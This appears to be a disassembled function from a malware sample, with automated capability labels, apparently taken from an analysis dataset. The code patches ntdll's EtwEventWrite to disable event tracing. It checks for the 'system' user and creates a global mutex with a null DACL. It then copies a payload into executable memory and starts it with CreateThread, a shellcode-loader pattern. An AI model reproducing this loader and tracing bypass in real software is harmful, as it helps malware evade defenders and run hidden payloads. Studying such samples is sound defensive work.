Function at 0x180001d50
Capabilities:
Check mutex on windows
Execute shellcode via indirect call
Link many functions at runtime
Patch event tracing for windows function

Disassembly:
mov rax, rsp
push rbp
push r12
lea rbp, [rax - 0xb8]
sub rsp, 0x1a8
mov qword [rax - 0x18], rbx
mov qword [rax - 0x20], rsi
mov qword [rax - 0x28], rdi
call fcn.1800016f0
xor r12d, r12d
test eax, eax
je 0x18000217b
mov rax, qword [0x18001fd50]
cmp dword [rax + 0x10], r12d
je 0x180001e0b
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.EtwEventWrite
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
je 0x180001e0b
lea r9, [rbp + 0xc8]
mov dword [rbp + 0xc8], r12d
lea edx, [r12 + 4]
mov rcx, rax
lea r8d, [r12 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
pushfq
pop rcx
btr rcx, 0xa
push rcx
popfq
mov r8d, dword [rbp + 0xc8]
lea rsi, [0x18001eb00]
mov rdi, rbx
lea r9, [rbp + 0xc8]
mov ecx, 4
lea edx, [r12 + 4]
rep movsb byte [rdi], byte [rsi]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rax, qword [0x18001fd50]
cmp dword [rax + 4], r12d
je 0x180001ebb
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x101
call fcn.180005d30
lea rcx, str.advapi32
mov dword [rbp + 0xd0], pe_nt_image_headers64
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.GetUserNameA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001e68
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x70]
call rax
mov r8, r12
lea r9, str.system
nop dword [rax]
nop word [rax + rax]
movzx edx, byte [rsp + r8 + 0x70]
movzx edi, byte [r8 + r9]
lea r8, [r8 + 1]
lea ecx, [rdx - 0x41]
cmp cl, 0x19
lea eax, [rdx + 0x20]
movzx esi, al
lea eax, [rdi + 0x20]
cmova esi, edx
movzx ecx, al
lea edx, [rdi - 0x41]
cmp dl, 0x19
cmova ecx, edi
cmp sil, cl
jne 0x18000217b
test sil, sil
jne 0x180001e80
mov rax, qword [0x18001fd50]
cmp dword [rax + 8], r12d
je 0x180001f8d
lea rcx, str.advapi32
mov qword [rsp + 0x30], 0x18
mov qword [rsp + 0x40], r12
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.InitializeSecurityDescriptor
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001f08
mov edx, 1
lea rcx, [rsp + 0x48]
call rax
lea rcx, str.advapi32
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SetSecurityDescriptorDacl
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x180001f3b
xor r9d, r9d
lea rcx, [rsp + 0x48]
xor r8d, r8d
lea edx, [r9 + 1]
call rax
lea rax, [rsp + 0x48]
mov edx, 1
lea r8, str.Global3D4AFB1A8CFD43E08524671BEEC8C5EC
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x18001fd70], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x180001ffe
cmp eax, 5
je 0x180001ffe
mov rcx, qword [0x18001fd70]
test rcx, rcx
je 0x180002182
lea rdx, [rbp + 0xc0]
mov qword [rbp + 0xc8], r12
lea rcx, [rbp + 0xc8]
mov dword [rbp + 0xc0], r12d
call fcn.1800021c0
test eax, eax
je 0x18000217b
mov r8, qword [0x18001fd50]
cmp dword [r8 + 0x14], r12d
je 0x180002023
mov rdi, qword [rbp + 0xc8]
mov r8, qword [r8 + 0x18]
mov rcx, rdi
mov edx, dword [rbp + 0xc0]
call fcn.1800047b0
test rdi, rdi
je 0x18000217b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x18000217b
mov rcx, qword [0x18001fd70]
test rcx, rcx
je 0x180002182
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r12
mov qword [0x18001fd70], rcx
jmp 0x180002182
mov edi, dword [rbp + 0xc0]
lea r8, [rbp + 0xd8]
mov rbx, qword [rbp + 0xc8]
mov edx, edi
mov rcx, rbx
mov qword [rbp + 0xd8], r12
call fcn.1800035b0
test eax, eax
jne 0x180002105
mov qword [rsp + 0x188], r14
mov esi, r12d
mov qword [rsp + 0x180], r15
mov r15d, edi
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
je 0x1800020aa
test rbx, rbx
je 0x1800020a0
pushfq
pop rcx
btr rcx, 0xa
push rcx
popfq
mov rdi, rax
mov rsi, rbx
mov ecx, r15d
rep movsb byte [rdi], byte [rsi]
mov rdi, r14
mov esi, 1
jmp 0x1800020b1
mov rdi, qword [rbp + 0xd8]
lea rcx, str.kernel32
mov dword [rbp + 0xc0], r12d
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x18001b198]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x1800020ef
lea r9, [rbp + 0xc0]
mov r8d, 0x40
mov rdx, r15
mov rcx, r14
call rax
mov r15, qword [rsp + 0x180]
mov r14, qword [rsp + 0x188]
test esi, esi
je 0x18000217b
jmp 0x18000210c
mov rdi, qword [rbp + 0xd8]
test rbx, rbx
je 0x180002125
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, str.kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000215f
mov qword [rsp + 0x28], r12
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call rax
jmp 0x180002162
mov rax, r12
mov qword [0x18001fd60], rax
call fcn.180004ac0
mov rcx, qword [0x18001fd60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x18001fd70]
mov rdi, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x198]
mov rbx, qword [rsp + 0x1a0]
test rcx, rcx
je 0x1800021ac
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x18001fd70], r12
xor eax, eax
add rsp, 0x1a8
pop r12
pop rbp
ret
sub rsp, 0x28
cmp qword [0x18001fd60], 0
je 0x180004c45
call fcn.180004ac0
mov rcx, qword [0x18001fd60]
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
movsxd rcx, dword [rax + 0x3c]
cmp dword [rcx + rax + 8], 0x656f6f3c
jne 0x180004c64
add rsp, 0x28
jmp 0x180001d50
add rsp, 0x28
ret